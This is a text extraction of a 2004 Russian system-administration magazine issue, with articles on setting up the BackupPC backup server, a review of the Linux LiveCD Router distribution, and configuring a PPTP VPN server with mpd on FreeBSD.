98
№9(22) сентябрь 2004 подписной индекс 81655 www.samag.ru Linux на страже Windows: обзор системы резервного копирования BackupPC GRSecurity – система безопасности для Linux Роутер без диска Windows XP Service Pack 2 глазами системного администратора Возможно ли повышение точности IDS PostgreSQL: графический клиент pgAdmin FreeBSD tips: устанавливаем VPN Восстановление данных на NTFS-разделах Пакетные команды интерфейса ATAPI PHP 5 – пришествие неизбежно Linux на страже Windows: обзор системы резервного копирования BackupPC GRSecurity – система безопасности для Linux Роутер без диска Windows XP Service Pack 2 глазами системного администратора Возможно ли повышение точности IDS PostgreSQL: графический клиент pgAdmin FreeBSD tips: устанавливаем VPN Восстановление данных на NTFS-разделах Пакетные команды интерфейса ATAPI PHP 5 – пришествие неизбежно №9(22) сентябрь 2004

022 Системный Администратор 09 2004

Embed Size (px)

DESCRIPTION

подписной индекс 81655 www.samag.ru №9(22) сентябрь 2004 №9(22) сентябрь 2004 Пакетные команды интерфейса ATAPI Взаимодействие shell-скриптов с пользователем посредством Zenity PHP 5 – пришествие неизбежно БЕЗОПАСНОСТЬ ОБРАЗОВАНИЕ Настраиваем соединение по выделенной линии 8 2 Восстановление данных на NTFS-разделах Крепкий орешек Роутер без диска [email protected] 1

Citation preview

Page 1: 022 Системный Администратор 09 2004

№9(22) сентябрь 2004подписной индекс 81655

www.samag.ru

Linux на страже Windows:обзор системы резервного копированияBackupPC

GRSecurity – система безопасностидля Linux

Роутер без диска

Windows XP Service Pack 2глазами системного администратора

Возможно ли повышение точности IDS

PostgreSQL:графический клиент pgAdmin

FreeBSD tips: устанавливаем VPN

Восстановление данныхна NTFS-разделах

Пакетные команды интерфейса ATAPI

PHP 5 – пришествие неизбежно

Linux на страже Windows:обзор системы резервного копированияBackupPC

GRSecurity – система безопасностидля Linux

Роутер без диска

Windows XP Service Pack 2глазами системного администратора

Возможно ли повышение точности IDS

PostgreSQL:графический клиент pgAdmin

FreeBSD tips: устанавливаем VPN

Восстановление данныхна NTFS-разделах

Пакетные команды интерфейса ATAPI

PHP 5 – пришествие неизбежно

№9(

22)

сен

тябр

ь 20

04

Page 2: 022 Системный Администратор 09 2004
Page 3: 022 Системный Администратор 09 2004

1№9(22), сентябрь 2004

оглавление

Роутер без дискаОбзор дистрибутива Linux LiveCD Router.

Сергей Яремчук[email protected] 8

FreeBSD tips: устанавливаем VPN

Сергей Супрунов[email protected] 10

Взаимодействие shell-скриптовс пользователем посредством Zenity

Андрей Уваров[email protected] 12

PostgreSQL: графический клиент pgAdmin

Сергей Супрунов[email protected] 14

Windows XP Service Pack 2глазами системного администратора

Михаил Платов[email protected] 20

Настраиваем соединениепо выделенной линии

Антон Борисов[email protected] 30

GRSecurityСистема безопасности для Linux.

Кирилл Тихонов[email protected] 48

Пакетные команды интерфейса ATAPI

Владимир Мешков[email protected] 70

Бессонная ночь админа, илиВозможно ли повышение точности IDS

Сергей Яремчук[email protected] 42

Linux на страже Windows.Обзор и установка системы резервногокопирования BackupPC

Андрей Маркелов[email protected] 2

АДМИНИСТРИРОВАНИЕ

ОБРАЗОВАНИЕ

Особенности запуска внешних командиз ASP-страниц

Иван Коробко[email protected] 86

Восстановление данных на NTFS-разделах

Крис Касперски[email protected] 60

ПРОГРАММИРОВАНИЕ

PHP 5 – пришествие неизбежно

Кирилл Сухов[email protected] 90

Крепкий орешекОбзор дистрибутива Adamantix – инструмента для повыше-ния защищенности систем на базе Linux.

Сергей Яремчук[email protected] 40

БЕЗОПАСНОСТЬ

BUGTRAQ 29, 85

Page 4: 022 Системный Администратор 09 2004

2

администрирование

Думаю, в настоящее время никто уже не станет спорить сутверждением, что процесс вхождения Linux в корпоратив-ный мир стал необратимым, а процент установок этой опе-рационной системы на серверах в различных организаци-ях постоянно возрастает.

Можно бесконечно спорить о преимуществах одних опе-рационных систем над другими, но когда у меня возникложелание сделать единое хранилище для ежедневных архи-вов информации с более десяти серверов своей организа-ции, работающих под управлением нескольких различныхОС, я свой выбор остановил на платформе Linux. До сихпор каждый сервер с помощью уникальных для него скрип-тов в назначенное время сбрасывал по сети на сервер ре-зервного копирования или stand by-сервер какие-то своиданные, например, пользовательские файлы с сетевых дис-ков, или дампы базы данных. Для этого использовались раз-личные протоколы: ftp, SMB или штатные средства СУБД.При этом приходилось следить за уникальным для каждогосервера лог-файлом, и в случае каких-либо изменений встратегии резервного копирования править скрипты на каж-дой машине.

Чтобы как-то упростить администрирование и сократитьвремя, затрачиваемое на поддержку и мониторинг всегоэтого «зоопарка», я начал искать систему, которая бы под-держивала копирование информации по сети, умела делатьинкрементальные бэкапы, поддерживала бы удаленноеадминистрирование и не требовала установки клиентскогопрограммного обеспечения. Кроме того, было важно, что-бы система умела работать по протоколу SMB, так как частьсерверов, в частности основной файл-сервер, работали подуправлением ОС Windows.

Спустя непродолжительное время такая система быланайдена. Ею оказалась открытая, распространяющаяся полицензии GNU система архивирования данных масштабапредприятия BackupPC. Сайт расположен по адресу http://backuppc.sourceforge.net.

Основные особенности рассматриваемой программы:! Язык программирования, на котором написана систе-

ма, – Perl.! Минимизация хранимой информации за счет того, что

идентичные файлы из разных резервных копий хранят-ся только в одном экземпляре.

! Настраиваемая степень сжатия данных.! Поддержка работы по протоколам smb/ssh/rsh/nfs.! Мощный CGI-интерфейс, позволяющий управлять сер-

вером по сети посредством веб-браузера.! Поддержка архивирования информации с машин, полу-

чающих настройки сети через DHCP, разрешая именапри помощи nmblookup.

! Гибкие настройки планирования архивации данных.! Оповещения о выполненных действиях администрато-

ра и пользователей посредством электронной почты.! Поддержка клиентов, работающих под управлением

Linux, Freenix, Solaris Win95, Win98, Win2000 и WinXP.Сервер тестировался на Linux, Freenix и Solaris.

! Очень подробная документация.

В данной статье я хочу обобщить свой опыт установки,настройки и эксплуатации этой системы, а также поделитьсярешением нескольких проблем, которые возникли в про-цессе установки.

Я проверял работу BackupPC версии 2.1.0, последней намомент написания статьи, при помощи тестовой машины подуправлением Fedora Core 2, и на «боевых» серверах, рабо-тающих на Red Hat Linux 9 и White Box Enterprise Linux 3.Операционная система, стоящая на тестовом сервере фак-тически является альфа-версией будущего Red Hat EnterpriseLinux 4, а White Box Enterprise Linux 3 перекомпиляцией изсвободно доступных исходных текстов текущей, третьей вер-сии коммерческого Linux-дистрибутива от Red Hat.

Необходимость использовать не поддерживающуюсяболее «девятку» возникла при установке RAID-контролле-ра Promise SuperTRAX SX6000, для которого существова-ли драйвера только под эту операционную систему.

Требования к установкеПрежде чем приступить непосредственно к инсталляции инастройке самой системы резервного копированияBackupPC, необходимо определиться с требованиями к про-граммному окружению, в котором должен работать сервер.

Во-первых, как я уже писал, это операционная система,в роли которой может выступать Linux, Solaris либо другаяUNIX-подобная система. Во-вторых, необходимо предусмот-реть наличие вместительного RAID-массива, или исполь-зовать LVM. Кроме того: Perl версии 5.6.0 или выше, Samba-и Apache-сервер.

В этой статье я не буду касаться настройки клиентаSamba, в частности, работы в составе Active Directory. Япредполагаю само собой разумеющимся, что если вы пла-нируете производить архивацию информации с Windows-серверов, работающих в составе домена, то и должны обес-печить к ним доступ вашей Linux-машины. Отсутствие опи-сания процесса конфигурирования Samba-сервера в дан-ной статье, думаю, компенсируется многочисленными ма-териалами на эту тему в Интернете.

Также предполагается, что вы используете кодировкуKOI-8 вместо установленной по умолчанию в большинствесовременных дистрибутивов UTF-8. Red Hat, в частности,

LINUX НА СТРАЖЕ WINDOWSОБЗОР И УСТАНОВКА СИСТЕМЫ РЕЗЕРВНОГО КОПИРОВАНИЯ BackupPC

АНДРЕЙ МАРКЕЛОВ

Page 5: 022 Системный Администратор 09 2004

3№9(22), сентябрь 2004

администрирование

перешла на ее использование с версии 8.0 своего продук-та. Но дело в том, что поддержка русского языка при помо-щи UTF-8 во многих приложениях далека от совершенства.Безусловно, лучшим решением была бы работа с UTF-8,но в данном случае я предпочел пойти по пути «наимень-шего сопротивления» и воспользоваться уже существую-щими у меня наработками.

Соответственно должен быть настроен и веб-сервер, укоторого в качестве кодировки по умолчанию должно бытьуказано KOI8-R.

Приступая к установке BackupPC, в системе необходимоиметь следующие perl-модули: Compress::Zlib, Archive::Zip иFile:RsyncP. Проверить наличие установленных модулейможно, дав команду:

Если в ответ будет получено сообщение вида:

следовательно, в вашей системе данный модуль еще не ус-тановлен. Оба дистрибутива, в которых я устанавливалBackupPC, по умолчанию этих модулей не содержат.

Процедура установки модулей, которые можно скачатьс www.cpan.org, следующая:

Имеющие опыт общения с оболочкой cpan, могут посту-пить проще – для установки модулей воспользоваться ею.

В случае RHEL3 для успешной компиляции модуляArchive::Zip пришлось дать команду:

без которой он отказался «собираться».Кроме того, мне пришлось установить отсутствующую

в дистрибутивах от Red Hat утилиту par2, которая создает«избыточную информацию» для файлов с использованиемкодов Рида-Соломона, и позволяет восстанавливать фай-лы, повреждённые до определённой степени. Скачиваем ссайта http://parchive.sourceforge.net исходники в виде фай-ла par2cmdline-0.4.tar.gz, и выполняем команды:

В принципе установка par2cmdline не обязательна, таккак по умолчанию BackupPC работает и без нее. Но все жея рекомендовал бы ее установить, особенно при отсутствииRAID-массива на сервере.

Также для корректной работы CGI-интерфейса при стан-дартной установке системы, когда веб-сервер запускаетсяиз-под специально выделенного для этих целей пользова-

теля (httpd или apache), требуется Suid Perl. В Red Hat дис-трибутивах соответствующий пакет называется perl-suidperl.

Ну и, наконец, добавим пользователя, из-под которогобудет выполняться запуск системы резервного копирования:

После окончания тестирования системы нелишним бу-дет убрать для пользователя backuppc возможность инте-рактивного входа.

Установка BackupPCТеперь можно приступить непосредственно к установкеBackupPC. Развернем архив и запустим конфигурационныйскрипт:

В ходе установки вам потребуется ответить на ряд воп-росов. На первый – просьбу указать полный путь к уже ус-тановленной старой версии – можно ответить, просто на-жав «Enter», поскольку выполняется первоначальная уста-новка. После вам будут показаны пути к утилитам, требуе-мым BackupPC, которые скрипт определил самостоятель-но, с просьбой подтвердить их расположение. Затем необ-ходимо проверить, правильно ли скрипт определил имя хо-ста и имя пользователя, которого мы создали ранее, а так-же директорию для установки исполнимых файлов и ди-ректорию для хранения данных.

В зависимости от быстродействия сервера вам необхо-димо будет выбрать уровень компрессии резервируемыхданных. Уровень можно менять от 1 до 9. По умолчаниюпредлагается третий уровень. По заявлениям разработчи-ков, при увеличении c «умолчальной» тройки до пятерки,например, загрузка процессора увеличивается на 20%, аданные занимают на 2-3% меньше места. По этим даннымвидно, что особого смысла увеличивать степень сжатия нет.При первоначальной установке я бы порекомендовал оста-вить тройку. Позднее можно попробовать поэксперименти-ровать с этим значением, поменяв его в конфигурацион-ном файле.

Следующий вопрос касается пути к cgi-bin директориивашего веб-сервера (в Red Hat-подобных дистрибутивах это/var/www/cgi-bin/) и пути к директории с устанавливаемыми

#tar zxvf èìÿ_àðõèâà.tar.gz // ðàçàðõèâèðóåì èñõîäíèêè#perl Makefile.PL // ôîðìèðóåì makefile#make // êîìïèëèðóåì èñõîäíèêè#make test // ïîñëå âûïîëíåíèÿ ýòîé êîìàíäû ìû äîëæíû ïîëó÷èòü

// ñîîáùåíèå, ÷òî âñå òåñòû ïðîéäåíû óñïåøíî#make install

perldoc <èìÿ ìîäóëÿ>

No documentation found for “Compress::Zlib”

export LANG=en_US

#tar zxvf par2cmdline-0.4.tar.gz#cd par2cmdline-0.4#./configure#make#make check#make install

#useradd backuppc

#tar zxvf BackupPC-x.x.x.tar.gz#cd BackupPC-x.x.x#perl configure.pl

Page 6: 022 Системный Администратор 09 2004

4

администрирование

иконками для CGI-интерфейса (/var/www/html/BackupPC).Кроме того, будет предложено ввести часть URL, указыва-ющего на иконки, а именно расположение относительнокорневого каталога веб-сервера. Обратите внимание, чтопуть должен начинаться со слэша. В нашем случае он бу-дет выглядеть как /BackupPC.

Настройка BackupPCКак и большинство программ, работающих под управлени-ем UNIX-подобных систем, настройка и изменение парамет-ров сервера BackupPC производится правкой конфигура-ционных файлов. К чему мы и приступим.

Интересующий нас файл config.pl расположен в подка-талоге /conf, который был создан внутри директории, пред-назначенной для хранения данных. На самом деле этотфайл очень хорошо документирован, поэтому я пройдусьлишь по основным параметрам. Config.pl состоит из четы-рех групп настроечных значений, содержащих:! основные параметры сервера;! описание тех машин, информацию с которых нужно ар-

хивировать;! указания, как часто это надо делать;! параметры CGI-интерфейса.

! $Conf{WakeupShedule} – как часто сервис должен про-верять, были ли изменения на подлежащих архивиро-ванию компьютерах, и в случае изменений выполнятьрезервирование данных. По умолчанию – каждый час,кроме полуночи.

! $Conf{MaxBackups} – максимальное число одновремен-ных процессов архивирования.

! $Conf{DfMaxUsagePct} – при заполнении указанного впроцентах объема диска, заданного для хранения дан-ных, архивирование не производится. По умолчанию 95%.

! $Conf{SmbShareName} – имя расшаренного ресурса наWindows-машине. По умолчанию – это диск C:\, кото-рый в Win2000/XP доступен через SMB по имени «С$».

! $Conf{SmbShareUserName} – имя пользователя наWindows-машине, которому даны права на ресурс об-щего доступа .

! $Conf{SmbSharePasswd} – его пароль. В настоящее вре-мя он приводится в открытом виде. В следующих вер-сиях планируется хранение в зашифрованном виде.

! $Conf{FullPeriod} – период в днях между полными ре-зервными копиями.

! $Conf{IncrPeriod} – период в днях между инкременталь-ными резервными копиями.

! $Conf{FullKeepCnt} – максимальное число сохраняемыхполных резервных копий. $Conf{BackupFilesOnly} – спи-сок директорий, которые необходимо архивировать. Поумолчанию – не определено.

! $Conf{BackupFilesExclude} – то же самое, но для дирек-торий-исключений.

! $Conf{ArchivePar} – при использовании par2cmdline про-цент избыточных данных в архиве. По умолчанию – 0.

! $Conf{EmailAdminUserName} – почтовый адрес админи-стратора, на который будут приходить сообщения обошибках и предупреждениях.

Page 7: 022 Системный Администратор 09 2004

5№9(22), сентябрь 2004

администрирование

! $Conf{CgiAdminUserGroup} и $Conf{CgiAdminUsers} –пользователи и группы, которым доступен CGI-интерфейс.

Обратите внимание, что параметры, относящиеся к кон-кретной машине, могут быть переопределены машинно-зависимым файлом Config.pl, который хранится в подди-ректории каталога с данными /BackupPC/pc/<имя_компью-тера>/. Действительно, на каждой машине могут быть своиконкретные папки общего доступа, списки исключений, свойлокальный пользователь с паролем, для которого установ-лены свои разрешения.

Теперь настроим список компьютеров, данные с кото-рых необходимо архивировать. Файл с настройками нахо-дится в том же каталоге, где и основной конфигурацион-ный файл, и называется hosts. Собственно, синтаксис фай-ла максимально прост. Каждая строчка содержит три па-раметра: имя машины, имя (e-mail) ее хозяина и признак,получает ли данный компьютер сетевые настройки по DHCPили нет.

Теперь осталось скопировать скрипт старта и останов-ки сервиса из дистрибутива /init.d/linux-backuppc в /etc/rc.d/init.d/backuppc, в случае Red Hat дистрибутива, а затемможно попробовать стартовать BackupPC командой:

Кроме того, нелишне добавить автоматический стартпри загрузке сервера в консоль и в X-Window:

#service backuppc start

#chkconfig - -add backuppc#chkconfig - -level 35 backuppc onК сожалению, данные действия приходится делать вруч-

ную, так как разработчики не включили эти операции в ус-тановочный скрипт.

В лог-файле messages вашего сервера должно появить-ся сообщение об успешном старте сервиса, а в директориис данными /BackupPC/log будет создан подробный лог са-мого сервиса. После успешного старта можно попробоватьзапустить браузер, и обратиться по адресу http://имя_сер-вера/cgi-bin/BackupPC_Admin. Если вы сделали все правиль-но, то должны получить нечто подобное тому, что изобра-жено на рисунках. В случае проблем с доступом к CGI-ин-терфейсу рекомендую обратиться к FAQ на сайте http://backuppc.sourceforge.net. В большинстве случаев в первуюочередь необходимо проверить права доступа к файлам идиректориям BackupPC. Однако, если вы следовали при-веденному порядку установки, таких проблем возникнутьне должно.

РусификацияЕще одной проблемой при работе с CGI-интерфейсом, ре-шение которой, однако, пришлось искать самому, можетстать некорректное отображение русских имен файлов ипапок. Для исправления этой ситуации придется внести не-большие изменения в файл Lib.pm, расположенный в подка-талоге /CGI директории с исполняемыми файлами програм-мы. Данный файл содержит системные процедуры BackupPC.

Page 8: 022 Системный Администратор 09 2004

6

администрирование

Во-первых, найдите в теле процедуры Header строчку:

и замените ее на:

Ну а во-вторых, в процедуре EscHTML закомментируй-те предпоследнюю строчку, стоящую перед «return»:

Теперь все имена будут отображаться в нормальномвиде, используя кодировку KOI-8.

Кроме того, рекомендую обратить внимание на папку/lib/BackupPC/Lang, которая находится в директории с ис-полнимыми файлами. Там находятся файлы с локализован-ными сообщениями, выводимыми CGI-интерфейсом. В ком-плект поставки русский язык не входит, но вам ничего немешает создать свой файл по образцу существующих, пе-реведя сообщения с английского на русский язык. Частьэтой работы я уже проделал для своего «внутреннего» ис-пользования. Перевод, не претендующий на полноту и вы-сокое литературное качество, я выложил на своем сайте.Скачать архив можно по ссылке http://www.markelov.net/program/bpcrus.tgz.

ИнтерфейсИнтерфейс системы достаточно прост и нагляден. Обра-тившись по адресу: http://имя_сервера/cgi-bin/BackupPC_Admin, вы попадаете в окно с общей информацией по сер-веру BackupPC. В левой части окна присутствует меню сссылками на более подробную информацию по работе всегосервера, а также выпадающее меню с возможностью вы-бора информации по конкретному архивируемому хосту.

Зайдя в меню по конкретному хосту, можно получитьвсю информацию касательно выполненных операций ре-зервирования данных, просмотреть списки архивных копий,а также «провалиться» в любой из них и восстановить фай-лы и каталоги полностью или частично. Также имеется воз-можность скопировать любой из файлов средствами брау-зера на ту машину, с которой вы зашли на сервер.

Заходя в инкрементальную резервную копию, вы види-те полную картину сохраненной файловой системы, то естьполную резервную копию плюс наложенную на нее инкре-ментальную копию. А для всех измененных файлов можнопросмотреть список версий и восстановить нужную из них.

Кроме того, все операции по работе с архивами можновыполнять из командной строки, но я не вижу смысла при-водить здесь синтаксис команд, поскольку он подробноописан в документации, идущей в составе дистрибутива.

В конце мне хотелось бы поблагодарить Павла Шера заряд ценных советов, которые мне пригодились при написа-нии статьи.

«print $Cgi->header();»

«print $Cgi->header(-charset=>�koi8-r�);»

«$s=~s{([^[:print:]])}{sprintf(�&\#x%02X;�, ord($1));}eg;»

Page 9: 022 Системный Администратор 09 2004
Page 10: 022 Системный Администратор 09 2004

8

администрирование

В работе подчас встречаются ситуации, когда осуществле-ние тех или иных мероприятий или действий традиционнымпутем если не то, что совсем невозможно, а просто неудоб-но, а привычные инструменты оказываются практическибесполезны. Вот и у меня возникла ситуация, когда для по-каза возможностей необходимо было в короткие сроки со-брать и настроить сеть. А так как это была всего лишь пре-зентация и все задействованные компьютеры использова-лись в реальной работе, то одним из требований было по-меньше трогать настройки и ПО, для того чтобы можно былобыстро вернуть все в рабочее состояние.

Если с клиентскими компьютерами более-менее все ре-шалось просто: где доустановкой пары программ, где ис-пользованием GNU/Linux LiveCD-дистрибутивов, то с роу-тером вышла заминка. Имеющиеся у меня образцы либоне удовлетворяли по возможностям, либо требовали уста-новки на жесткий диск, либо серьезного изменения настро-ек системы, что меня не совсем устраивало. Поэтому при-шлось искать инструмент, который сможет помочь в такойситуации. И конечно же, он нашелся. Аргентинский дист-рибутив Linux LiveCD Router подходит как нельзя лучше придемонстрации или тестировании возможностей, проверкесовместимости оборудования, самостоятельном изученииили обучении работе с UNIX-системами, настройке досту-па в Интернет в короткие сроки, а может, и в других ситуа-циях, кои жизнь подкидывает постоянно. Системные тре-бования к оборудованию невысоки: процессор 486 и выше,ОЗУ от 16 Мб, 2X CD-ROM, одна и более сетевых карт и оп-ционально WiFi-карта и дисковод. Жесткий диск, естествен-но, не нужен. Домашняя страница http://www.wifi.com.ar/cdrouter.html, размер небольшой – 93 Мб. Дистрибутив дос-тупен для свободного скачивания, плата берется за техни-ческую поддержку, подробную документацию по использо-ванию и за более оснащенные версии дистрибутива.

Основные возможности:! Не требует установки, система просто загружается с CD-

ROM, но чтобы каждый раз не вводить настройки, ихможно сохранить на дискету.

! Поддерживает различные типы устройств xDSL, FrameRelay, Dial-Up, Ethernet, WiFi и пр.

! Включает Firewall Shorewall и NAT.! Может использоваться и как точка доступа (Access

Points) для WiFi.! Удаленное управление через Web и SSH.! Кэширование DNS-запросов.! Удаленный мониторинг при помощи SNMP и вывод ста-

тистики в графической форме.! Легко уживается в сети с компьютерами Windows и Mac.

Если оборудование не поддерживает загрузку с CD-ROM, то по адресу http://www.wifi.com.ar/download/bootfloppy

имеется образ для загрузки с дискеты. Базируется LiveCDRouter на Slackware 9.1, ядро 2.4.24, поэтому если имею-щееся у вас оборудование не поддерживается, то можновзять необходимые модули со Slackware, перенести на дис-кете или другим способом и положить в /lib/modules/2.4.24.Аналогично можно и добавить приложения, взяв необхо-димые пакеты, и установить их при помощи installpkg илиpkgtool. Загрузка дистрибутива не представляет собой ни-чего интересного, только обращайте внимание на сооб-щения об ошибках. Для входа в систему используем ло-гин: root и пароль: cdrouter, никаких утилит, помогающихв настройке, в дистрибутиве почти нет, поэтому единствен-ным путем достижения цели будет в большинстве случа-ев ручная настройка. Хотя для новичков, наверное, удоб-ным будет использование веб-интерфейса Webmin, о не-которых возможностях которого я писал в прошлом номе-ре журнала. Для доступа используется порт 10000 (напри-мер, ht tp://192.168.1.1:10000) и логин/пароль admin/cdrouter. Первоначально вас встретит испанский язык ин-терфейса, поэтому лучше его сменить (Webmin-ChangeLanguage and Theme).

Произвести необходимые настройки и просмотреть ин-формацию можно, зайдя в один из пунктов в «SistemaLiveCD Router» (Log File Rotation, пользователи и группы,пароли, системное время, задания, процессы и пр.). В пун-кте «Команды пользователя» доступны четыре готовые ко-манды, для запуска которых достаточно нажать на кнопку(при наличии прав): «Guardar Configuracion a Floppy» и «Volvera Configuracion guardada en Floppy» – соответственно со-хранение и восстановление конфигурации с флоппи-диска;«Frottle Config File» – редактирование конфигурационногофайла Frottle (Freenet throttle, http://frottle.sourceforge.net)/etc/frottle.conf, утилиты, предназначенной для контроля тра-фика в беспроводных сетях; «Linux LiveCD Router StartupFile» – редактируется файл /etc/rc.d/rc.local. По умолчаниюв этом файле прописан запуск веб-сервера Apache иWebmin, для примера закомментированы строки с настрой-кой интерфейса eth1, MRTG и Firewall Shorewall. Интерфейсeth0 при запуске поднимается с адресом 192.168.1.1, принеобходимости в файле /etc/rc.d/rc.inet1 (или утилитыnetconfig или webmin – сеть) можно изменить адрес либоустановить автонастройку при помощи DHCP, после чегоперезапускаем:

Дистрибутив переконфигурирован с настройками длявнешнего модема вроде US Robotics, подключенному к пер-вому COM-порту /dev/ttyS0, но поддерживаются и некото-рые внутренние модемы. Для настройки параметров доз-вона, чтобы не прибегать к ручному редактированию фай-

СЕРГЕЙ ЯРЕМЧУК

РОУТЕР БЕЗ ДИСКА

#/etc/rc.d/rc.inet1

Page 11: 022 Системный Администратор 09 2004

9№9(22), сентябрь 2004

администрирование

лов, новичкам советую воспользоваться утилитой pppsetup.После чего попробовать дозвониться, введя ppp-on, оста-новка при ppp-off. Аналогично для настройки ADSL-моде-ма используем adsl-setup и запускаем/останавливаем adsl-start/adsl-stop. Команда iptables -L -v выдает пустые цепоч-ки, что вполне естественно, т.к. по умолчанию все строки вфайле /etc/rc.d/rc.firewall закомментированы, если планиру-ется выход в Интернет, то это надо подправить. FirewallShorewall настроен (конфигурацию можно просмотреть вфайлах, расположенных в каталоге /etc/shorewall) на рабо-ту с двумя ethernet-адаптерами eth0 и eth1, и в такой кон-фигурации можно ничего не трогать, а только запустить.

Настроив один раз все параметры, естественно, не хо-чется повторять эту процедуру сначала, поэтому их можносохранить на дискету, воспользовавшись командами черезWebmin или вручную.

Восстановить настройки.

Хотя если вставить дискету во время загрузки систе-мы, то параметры будут считаны автоматически.

Со списком поддерживаемых WiFi-устройств можно оз-накомиться на странице http://www.wifi.com.ar/doc/wifi/wlan_adapters.html. Поддерживается большое количествоадаптеров, как внешних (USB, pcmcia), так и внутренних,на чипах prism2 и Hermes, используются драйвера hostap,

orinoco и linux-wlan-ng. Некоторые изготовители подобныхустройств отказываются от производства драйверов длясистем, отличных от Microsoft Windows, некоторые из них(вроде Intel Centrino 2100, 3Com 3CRSHPW796) можно зас-тавить работать при помощи утилиты ndiswrapper (http://ndiswrapper.sourceforge.net), в качестве входного парамет-ра которой указывается inf файл. Дополнительно к упоми-наемой выше утилите frottle, статус работы которой можнопросмотреть, набрав http://192.168.1.1/frottle/frottle.html, вкомплект включена и утилита мониторинга WiFi-сетейwavemon. Имеется и веб-сервер Apache, поэтому если про-сто набрать в браузере IP-адрес LiveCD Router, то получитедоступ к документации по настройке утилит, входящих вкомплект, и статистике MRTG, Frottle. Интересно, что призагрузке система обнаруживает разделы ext3 и FAT и мон-тирует их в режиме чтение-запись в каталог /mnt. Из кли-ентских приложений присутствуют веб-браузеры links иlynx, почтовые клиенты mutt nail и пакеты для работы попротоколу ftp – ncftp и lftp, так что в случае крайней необхо-димости можно использовать LiveCD Router для полученияинформации из Интернета. Для тех же, кто решится исполь-зовать дистрибутив в качестве постоянного маршрутиза-тора, может пригодиться наличие демона genpowerd, рабо-тающего в паре с UPS и позволяющего оперативно реаги-ровать на нарушения электропитания.

Скорее всего совет использовать LiveCD-дистрибутивдля организации постоянного доступа в сеть вряд ли кто-то воспримет всерьез, но в случае непредвиденных обсто-ятельств это может быть тот единcтвенный инструмент, ко-торый поможет быстро решить проблемы.

#configsave /dev/fd0

#configrestore /dev/fd0

Page 12: 022 Системный Администратор 09 2004

10

администрирование

Недавно мне пришлось столкнуться с такой задачей: име-ется локальная сеть с адресами 10.x.x.0/24.

Для работы с вышестоящим сервером корпоративнойсети машины должны иметь адреса из этого диапазона, ипакеты в данном случае уходят непосредственно на Ethernet-порт коммутатора (точнее, заворачиваются туда правиламиipfw, работающего на сервере FreeBSD). Доступ в Интернетосуществляется с помощью трансляции адресов (NAT).

Однако для работы с некоторыми внешними сервера-ми мне нужно было иметь реальный адрес, причем рабо-та через NAT или proxy-сервер не поддерживалась. Ста-вить себе вторую сетевую карту и тащить отдельный сег-мент до сервера, в который тоже пришлось бы устанавли-вать еще один (уже третий) сетевой адаптер, очень не хо-телось. Вариант с назначением себе в каждый момент вре-мени нужного адреса тоже не радовал (хоть Windows XP ине требует перезагрузки после изменения сетевых адре-сов, но все равно процедура не из приятных). Тогда былопринято решение «пробросить» до сервера так называе-мую виртуальную частную сеть (VPN), о чем и пойдет речьв данной статье.

Прежде всего нужно было поднять на FreeBSD VPN-сер-вер. Почитав немного про такие средства, как poptop и mpd,свой выбор я остановил на последнем как более «родном»для FreeBSD. Mpd использует интерфейс netgraph, благо-даря чему большинство операций выполняется на уровнеядра системы, тем самым повышая скорость работы. Какправило, специально включать поддержку netgraph в ядроне требуется – она подгружается и отлично работает в видемодулей, в чем можно убедиться с помощью команды kldstat(после того, как mpd будет установлен и запущен):

Однако при желании ядро можно и пересобрать, вклю-чив все опции, начинающиеся с «NETGRAPH_». В ряде слу-чаев, особенно для старых версий FreeBSD (например, 3.х),это может дать дополнительный прирост быстродействия.Для установки mpd проследуем в коллекцию портов и вы-полним там ряд нехитрых действий:

Поскольку мы ничего не меняли, то исполнимые файлыбудут помещены в /usr/local/sbin, а файлы конфигурации

FreeBSD TIPS: УСТАНАВЛИВАЕМ VPNFreeBSD TIPS: УСТАНАВЛИВАЕМ VPN

СЕРГЕЙ СУПРУНОВ

# cd /usr/ports/net/mpd# make# make install

Page 13: 022 Системный Администратор 09 2004

11№9(22), сентябрь 2004

администрирование

можно будет найти в /usr/local/etc/mpd – стандартная дляFreeBSD раскладка. Сценарий автозапуска будет находить-ся в /usr/local/etc/rc.d. Сразу после инсталляции файлы кон-фигурации и сценарий будут иметь расширение «.sample»,следовательно, их нужно переименовать, убедившись, чтоникакие исправления (например, другие пути) в них вно-сить не нужно. Единственное, что от нас теперь требуется, –отредактировать конфигурационные файлы для нашей за-дачи и запустить серверный процесс mpd. Файл mpd.confпримет примерно следующий вид:

С остальными параметрами можно ознакомиться в до-статочно подробной html-документации (см. /usr/ports/net/mpd/work/mpd-3.18/doc). В частности, может потребовать-ся прописать DNS-сервер, назначаемый устанавливаемо-му соединению.

В принципе все можно оставить в таком же виде, изме-нив только IP-адреса на нужные. В качестве собственногоадреса (pptp self) должен быть задан адрес интерфейса, на

котором сервер будет ожидать входящие соединения (вмоем случае это «внутренний» интерфейс FreeBSD, смот-рящий в локальную сеть). В качестве адреса сервера длясоединения VPN задан адрес «внешнего» интерфейса, мар-шрутизируемого в Интернет.

Поскольку со стороны VPN-сервера никуда дозванивать-ся не требуется, то настройки в mpd.script для нас несуще-ственны. Остальные два конфигурационных файла будутвыглядеть примерно так:

То есть в mpd.links просто описывается тип связи (pptp –point to point tunneling protocol). Строго говоря, не имеет осо-бого значения, где именно описывать параметры линка – вmpd.links или непосредственно в mpd.conf (в нашем приме-ре большинство команд set link размещены именно там).Это вопрос удобства при работе с большим количествомразнообразных соединений. В mpd.secret перечисляем поль-зователей с паролями, которым нужно будет устанавливатьVPN-соединения (в данном случае такой пользователь толь-ко один). Не забывайте исключить возможность чтения дан-ного файла кем-то еще, кроме суперпользователя root. Те-перь запускаем сервер:

Чтобы убедиться, что сервер запустился и прослушива-ет порт 1723 (pptp) в ожидании подключений, выполнитеследующую команду:

Со стороны Windows никаких особых телодвижений нетребуется – просто создаем соединение VPN, следуя ука-заниям мастера подключения. В качестве адреса назначе-ния указывается «собственный» адрес VPN-сервера, то естьв нашем случае – 10.x.x.254. Теперь, когда нужно порабо-тать с реальным адресом, просто устанавливается VPN-соединение, по окончании сеанса – закрывается.

В заключение хочется отметить еще одно полезное свой-ство VPN-соединения – экономию адресного пространства.Если поставленную задачу решать «классическим» спосо-бом – с помощью дополнительных сетевых карт, то пона-добится выделить как минимум 4 IP-адреса – на сторонусервера, клиенту, и 2 адреса пропадут «впустую» – как ад-рес подсети и широковещательный адрес. В случае же VPNмы занимаем только 1 действительно нужный нам адрес –адрес клиента. На сервере мы привязываемся к существу-ющему адресу внешнего интерфейса, а «служебные» ад-реса в данном случае вообще не требуются.

